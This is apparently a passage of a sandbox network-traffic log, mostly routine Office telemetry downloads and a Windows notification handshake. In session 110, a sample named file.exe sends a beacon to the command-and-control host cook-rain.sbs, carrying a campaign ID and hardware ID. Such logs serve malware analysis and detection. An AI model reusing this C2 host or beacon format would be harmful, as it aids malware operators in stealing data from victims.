2024-11-20 07:12:33 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071233Z-1777c6cb7549j9hhhC1TEBzmcc0000000990000000000qe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49817	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:33 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071233Z-r1d97b995777mdbwhC1TEBezag00000008c000000000gcxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49818	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-1777c6cb7549j9hhhC1TEBzmcc000000093000000000h6u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49819	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-185f5d8b95csd4bwhC1NYCq7dc00000009xg000000000qdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49820	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-1777c6cb754mrj2shC1TEB6k7w00000009a000000000fq8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49821	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-185f5d8b95c68cvnhC1NYCfn7s00000009wg000000009v16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49824	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 07:12:34 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=B54183127E14D51763CFCF7E6C45F838
2024-11-20 07:12:35 UTC	976	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v46vt810hgm78ns78qing5ru8k; expires=Sun, 16-Mar-2025 00:59:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U2OUS5Gb5op3wK3ySlH8tc1sGKqhsmgKUwJDyosFVsmaW4nZjBlB5kWIUACdQQ1brKaQff0NKM8%2FRvpUwHDbhKnepRfyuDnVR1lXJwvFbIOviPWN4HknkxIRurxi1irT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a1e90d904239-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2363&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1231028&cwnd=227&unsent_bytes=0&cid=455f82815521d5fc&ts=588&x=0"
2024-11-20 07:12:35 UTC	214	IN	Data Raw: 64 30 0d 0a 50 33 2b 74 41 68 4b 5a 70 59 72 44 31 4c 38 47 38 49 37 52 79 44 31 43 77 53 45 4f 42 62 4f 34 43 52 47 46 62 32 42 62 4a 58 52 6b 42 49 39 33 4d 4b 4f 48 34 72 65 67 7a 7a 79 73 6f 59 33 6e 44 48 72 30 44 7a 77 30 68 70 59 34 49 4c 5a 42 55 57 31 35 57 31 41 5a 79 31 34 39 2f 63 44 73 37 62 48 48 59 39 4b 69 38 36 35 4a 59 50 73 52 49 69 66 57 6d 6a 4d 67 2b 45 4d 62 65 56 42 57 42 56 33 46 64 6d 62 70 6e 39 62 73 69 4a 41 33 79 4c 76 2f 2b 67 78 33 37 78 41 2f 4e 70 32 4a 50 30 32 71 48 42 51 2b 52 42 6c 6a 55 4e 39 6a 66 50 33 4b 35 2b 32 78 78 32 50 53 6f 76 4f 75 53 57 44 37 45 53 49 6e 31 70 6f 7a 49 50 67 79 0d 0a Data Ascii: d0P3+tAhKZpYrD1L8G8I7RyD1CwSEOBbO4CRGFb2BbJXRkBI93MKOH4regzzysoY3nDHr0Dzw0hpY4ILZBUW15W1AZy149/cDs7bHHY9Ki865JYPsRIifWmjMg+EMbeVBWBV3Fdmbpn9bsiJA3yLv/+gx37xA/Np2JP02qHBQ+RBljUN9jfP3K5+2xx2PSovOuSWD7ESIn1pozIPgy
2024-11-20 07:12:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49823	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-185f5d8b95cdtclvhC1NYC4rmc00000009z000000000fakt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49822	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 61 43 64 77 78 39 44 61 6b 47 78 59 61 4c 51 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 37 63 61 38 35 66 37 37 31 37 36 30 30 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gaCdwx9DakGxYaLQ.1Context: 3b7ca85f77176009
2024-11-20 07:12:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-20 07:12:34 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 61 43 64 77 78 39 44 61 6b 47 78 59 61 4c 51 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 37 63 61 38 35 66 37 37 31 37 36 30 30 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4b 49 63 78 78 49 39 78 75 47 37 47 65 45 64 4a 6e 6f 42 56 44 74 71 4a 4c 75 2b 7a 54 44 6b 33 75 4b 49 57 2b 6b 79 4c 6d 43 4e 4f 62 7a 64 54 30 72 4b 37 6a 4e 70 31 64 69 45 47 54 67 38 2b 42 30 30 61 48 48 6c 6a 37 6c 56 7a 31 48 63 56 32 69 6e 63 58 45 59 6d 74 62 4a 49 53 6f 30 39 42 41 35 77 42 67 52 4a 4e 70 30 6b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gaCdwx9DakGxYaLQ.2Context: 3b7ca85f77176009<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdKIcxxI9xuG7GeEdJnoBVDtqJLu+zTDk3uKIW+kyLmCNObzdT0rK7jNp1diEGTg8+B00aHHlj7lVz1HcV2incXEYmtbJISo09BA5wBgRJNp0k
2024-11-20 07:12:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 61 43 64 77 78 39 44 61 6b 47 78 59 61 4c 51 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 62 37 63 61 38 35 66 37 37 31 37 36 30 30 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gaCdwx9DakGxYaLQ.3Context: 3b7ca85f77176009<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-20 07:12:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-20 07:12:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 46 45 64 6c 76 73 30 6b 30 61 45 67 6a 71 51 77 6c 30 53 51 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sFEdlvs0k0aEgjqQwl0SQQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49826	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:34 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:35 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:34 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071234Z-1777c6cb7542p5p4hC1TEBq098000000096g00000000dr0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:35 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49825	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
